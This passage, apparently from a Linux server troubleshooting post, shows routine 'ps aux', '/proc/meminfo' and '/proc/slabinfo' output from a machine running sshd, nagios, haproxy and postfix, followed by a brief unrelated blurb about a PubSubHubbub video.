? S< May20 0:09 [mpt_poll_0] root 317 0.0 0.0 0 0 ? S< May20 0:00 [mpt/0] root 547 0.0 0.0 0 0 ? S< May20 0:00 [scsi_eh_4] root 587 0.0 0.0 0 0 ? S< May20 0:11 [kjournald2] root 636 0.0 0.0 12748 860 ? S May20 0:00 upstart-udev-bridge --daemon root 657 0.0 0.0 17064 924 ? S<s May20 0:00 udevd --daemon root 666 0.0 0.0 8192 612 ? Ss May20 0:00 dd bs=1 if=/proc/kmsg of=/var/run/rsyslog/kmsg root 774 0.0 0.0 17060 888 ? S< May20 0:00 udevd --daemon root 775 0.0 0.0 17060 888 ? S< May20 0:00 udevd --daemon syslog 825 0.0 0.0 191696 1988 ? Sl May20 0:31 rsyslogd -c4 root 839 0.0 0.0 0 0 ? S< May20 0:00 [edac-poller] root 870 0.0 0.0 0 0 ? S< May20 0:00 [kpsmoused] root 1006 0.0 0.0 5988 604 tty4 Ss+ May20 0:00 /sbin/getty -8 38400 tty4 root 1008 0.0 0.0 5988 604 tty5 Ss+ May20 0:00 /sbin/getty -8 38400 tty5 root 1015 0.0 0.0 5988 604 tty2 Ss+ May20 0:00 /sbin/getty -8 38400 tty2 root 1016 0.0 0.0 5988 608 tty3 Ss+ May20 0:00 /sbin/getty -8 38400 tty3 root 1018 0.0 0.0 5988 604 tty6 Ss+ May20 0:00 /sbin/getty -8 38400 tty6 daemon 1025 0.0 0.0 16512 472 ? Ss May20 0:00 atd root 1026 0.0 0.0 18708 1000 ? Ss May20 0:03 cron root 1052 0.0 0.0 49072 1252 ? Ss May20 0:25 /usr/sbin/sshd root 1084 0.0 0.0 5988 604 tty1 Ss+ May20 0:00 /sbin/getty -8 38400 tty1 root 6320 0.0 0.0 19440 956 ? Ss May21 0:00 /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6 nagios 8197 0.0 0.0 27452 1696 ? SNs May21 2:57 /usr/sbin/nagios3 -d /etc/nagios3/nagios.cfg root 10882 0.1 0.0 70280 3104 ? Ss 10:30 0:00 sshd: mark [priv] mark 10934 0.0 0.0 70432 1776 ? S 10:30 0:00 sshd: mark@pts/0 mark 10935 1.4 0.1 21572 4336 pts/0 Ss 10:30 0:00 -bash root 10953 1.0 0.0 15164 1136 pts/0 R+ 10:30 0:00 ps aux haproxy 12738 0.0 0.0 17208 992 ? Ss Jun08 0:49 /usr/sbin/haproxy -f /etc/haproxy/haproxy.cfg root 23953 0.0 0.0 37012 2192 ? Ss Jun04 0:03 /usr/lib/postfix/master postfix 23955 0.0 0.0 39232 2356 ? S Jun04 0:00 qmgr -l -t fifo -u postfix 32603 0.0 0.0 39072 2132 ? S 09:05 0:00 pickup -l -t fifo -u -c Here's meminfo: $ cat /proc/meminfo MemTotal: 4052852 kB MemFree: 1240488 kB Buffers: 173172 kB Cached: 2376420 kB SwapCached: 0 kB Active: 1479288 kB Inactive: 1081876 kB Active(anon): 11792 kB Inactive(anon): 0 kB Active(file): 1467496 kB Inactive(file): 1081876 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 6361700 kB SwapFree: 6361700 kB Dirty: 44 kB Writeback: 0 kB AnonPages: 11568 kB Mapped: 5844 kB Slab: 155032 kB SReclaimable: 145804 kB SUnreclaim: 9228 kB PageTables: 1592 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 8388124 kB Committed_AS: 51732 kB VmallocTotal: 34359738367 kB VmallocUsed: 282604 kB VmallocChunk: 34359453499 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 6784 kB DirectMap2M: 4182016 kB Here's slabinfo: $ cat /proc/slabinfo slabinfo - version: 2.1 # name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail> ip6_dst_cache 50 50 320 25 2 : tunables 0 0 0 : slabdata 2 2 0 UDPLITEv6 0 0 960 17 4 : tunables 0 0 0 : slabdata 0 0 0 UDPv6 68 68 960 17 4 : tunables 0 0 0 : slabdata 4 4 0 tw_sock_TCPv6 0 0 320 25 2 : tunables 0 0 0 : slabdata 0 0 0 TCPv6 72 72 1792 18 8 : tunables 0 0 0 : slabdata 4 4 0 dm_raid1_read_record 0 0 1064 30 8 : tunables 0 0 0 : slabdata 0 0 0 kcopyd_job 0 0 368 22 2 : tunables 0 0 0 : slabdata 0 0 0 dm_uevent 0 0 2608 12 8 : tunables 0 0 0 : slabdata 0 0 0 dm_rq_target_io 0 0 376 21 2 : tunables 0 0 0 : slabdata 0 0 0 uhci_urb_priv 0 0 56 73 1 : tunables 0 0 0 : slabdata 0 0 0 cfq_queue 0 0 168 24 1 : tunables 0 0 0 : slabdata 0 0 0 mqueue_inode_cache 18 18 896 18 4 : tunables 0 0 0 : slabdata 1 1 0 fuse_request 0 0 632 25 4 : tunables 0 0 0 : slabdata 0 0 0 fuse_inode 0 0 768 21 4 : tunables 0 0 0 : slabdata 0 0 0 ecryptfs_inode_cache 0 0 1024 16 4 : tunables 0 0 0 : slabdata 0 0 0 hugetlbfs_inode_cache 26 26 608 26 4 : tunables 0 0 0 : slabdata 1 1 0 journal_handle 680 680 24 170 1 : tunables 0 0 0 : slabdata 4 4 0 journal_head 144 144 112 36 1 : tunables 0 0 0 : slabdata 4 4 0 revoke_table 256 256 16 256 1 : tunables 0 0 0 : slabdata 1 1 0 revoke_record 512 512 32 128 1 : tunables 0 0 0 : slabdata 4 4 0 ext4_inode_cache 53306 53424 888 18 4 : tunables 0 0 0 : slabdata 2968 2968 0 ext4_free_block_extents 292 292 56 73 1 : tunables 0 0 0 : slabdata 4 4 0 ext4_alloc_context 112 112 144 28 1 : tunables 0 0 0 : slabdata 4 4 0 ext4_prealloc_space 156 156 104 39 1 : tunables 0 0 0 : slabdata 4 4 0 ext4_system_zone 0 0 40 102 1 : tunables 0 0 0 : slabdata 0 0 0 ext2_inode_cache 0 0 776 21 4 : tunables 0 0 0 : slabdata 0 0 0 ext3_inode_cache 0 0 784 20 4 : tunables 0 0 0 : slabdata 0 0 0 ext3_xattr 0 0 88 46 1 : tunables 0 0 0 : slabdata 0 0 0 dquot 0 0 256 16 1 : tunables 0 0 0 : slabdata 0 0 0 shmem_inode_cache 606 620 800 20 4 : tunables 0 0 0 : slabdata 31 31 0 pid_namespace 0 0 2112 15 8 : tunables 0 0 0 : slabdata 0 0 0 UDP-Lite 0 0 832 19 4 : tunables 0 0 0 : slabdata 0 0 0 RAW 183 210 768 21 4 : tunables 0 0 0 : slabdata 10 10 0 UDP 76 76 832 19 4 : tunables 0 0 0 : slabdata 4 4 0 tw_sock_TCP 80 80 256 16 1 : tunables 0 0 0 : slabdata 5 5 0 TCP 81 114 1664 19 8 : tunables 0 0 0 : slabdata 6 6 0 blkdev_integrity 144 144 112 36 1 : tunables 0 0 0 : slabdata 4 4 0 blkdev_queue 64 64 2024 16 8 : tunables 0 0 0 : slabdata 4 4 0 blkdev_requests 120 120 336 24 2 : tunables 0 0 0 : slabdata 5 5 0 fsnotify_event 156 156 104 39 1 : tunables 0 0 0 : slabdata 4 4 0 bip-256 7 7 4224 7 8 : tunables 0 0 0 : slabdata 1 1 0 bip-128 0 0 2176 15 8 : tunables 0 0 0 : slabdata 0 0 0 bip-64 0 0 1152 28 8 : tunables 0 0 0 : slabdata 0 0 0 bip-16 84 84 384 21 2 : tunables 0 0 0 : slabdata 4 4 0 sock_inode_cache 224 276 704 23 4 : tunables 0 0 0 : slabdata 12 12 0 file_lock_cache 88 88 184 22 1 : tunables 0 0 0 : slabdata 4 4 0 net_namespace 0 0 1920 17 8 : tunables 0 0 0 : slabdata 0 0 0 Acpi-ParseExt 640 672 72 56 1 : tunables 0 0 0 : slabdata 12 12 0 taskstats 48 48 328 24 2 : tunables 0 0 0 : slabdata 2 2 0 proc_inode_cache 1613 1750 640 25 4 : tunables 0 0 0 : slabdata 70 70 0 sigqueue 100 100 160 25 1 : tunables 0 0 0 : slabdata 4 4 0 radix_tree_node 22443 22475 560 29 4 : tunables 0 0 0 : slabdata 775 775 0 bdev_cache 72 72 896 18 4 : tunables 0 0 0 : slabdata 4 4 0 sysfs_dir_cache 9866 9894 80 51 1 : tunables 0 0 0 : slabdata 194 194 0 inode_cache 2268 2268 592 27 4 : tunables 0 0 0 : slabdata 84 84 0 dentry 285907 286062 192 21 1 : tunables 0 0 0 : slabdata 13622 13622 0 buffer_head 256447 257472 112 36 1 : tunables 0 0 0 : slabdata 7152 7152 0 vm_area_struct 1469 1541 176 23 1 : tunables 0 0 0 : slabdata 67 67 0 mm_struct 82 95 832 19 4 : tunables 0 0 0 : slabdata 5 5 0 files_cache 104 161 704 23 4 : tunables 0 0 0 : slabdata 7 7 0 signal_cache 163 187 960 17 4 : tunables 0 0 0 : slabdata 11 11 0 sighand_cache 145 165 2112 15 8 : tunables 0 0 0 : slabdata 11 11 0 task_xstate 118 140 576 28 4 : tunables 0 0 0 : slabdata 5 5 0 task_struct 128 165 5808 5 8 : tunables 0 0 0 : slabdata 33 33 0 anon_vma 731 896 32 128 1 : tunables 0 0 0 : slabdata 7 7 0 shared_policy_node 85 85 48 85 1 : tunables 0 0 0 : slabdata 1 1 0 numa_policy 170 170 24 170 1 : tunables 0 0 0 : slabdata 1 1 0 idr_layer_cache 240 240 544 30 4 : tunables 0 0 0 : slabdata 8 8 0 kmalloc-8192 27 32 8192 4 8 : tunables 0 0 0 : slabdata 8 8 0 kmalloc-4096 291 344 4096 8 8 : tunables 0 0 0 : slabdata 43 43 0 kmalloc-2048 225 240 2048 16 8 : tunables 0 0 0 : slabdata 15 15 0 kmalloc-1024 366 432 1024 16 4 : tunables 0 0 0 : slabdata 27 27 0 kmalloc-512 536 544 512 16 2 : tunables 0 0 0 : slabdata 34 34 0 kmalloc-256 406 528 256 16 1 : tunables 0 0 0 : slabdata 33 33 0 kmalloc-128 503 576 128 32 1 : tunables 0 0 0 : slabdata 18 18 0 kmalloc-64 3467 3712 64 64 1 : tunables 0 0 0 : slabdata 58 58 0 kmalloc-32 1520 1920 32 128 1 : tunables 0 0 0 : slabdata 15 15 0 kmalloc-16 3547 3840 16 256 1 : tunables 0 0 0 : slabdata 15 15 0 kmalloc-8 4607 4608 8 512 1 : tunables 0 0 0 : slabdata 9 9 0 kmalloc-192 4620 5313 192 21 1 : tunables 0 0 0 : slabdata 253 253 0 kmalloc-96 1780 1848 96 42 1 : tunables 0 0 0 : slabdata 44 44 0 kmem_cache_node 0 0 64 64 1 : tunables 0 0 0 : slabdata 0 0 0

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• What is PubSubHubbub?

  What is PubSubHubbub? An overview of pubsubhubbub, a simple, open, web-hook-based pubsub protocol & open source reference implementation. Brett Slatkin and Brad Fitzpatrick demonstrate what pubsubhubbub is and how it works. For more information, visit pubsubhubbub.googlecode.com From: GoogleDevelopers Views: 23753 112 ratings Time: 03:20 More in Science & Technology

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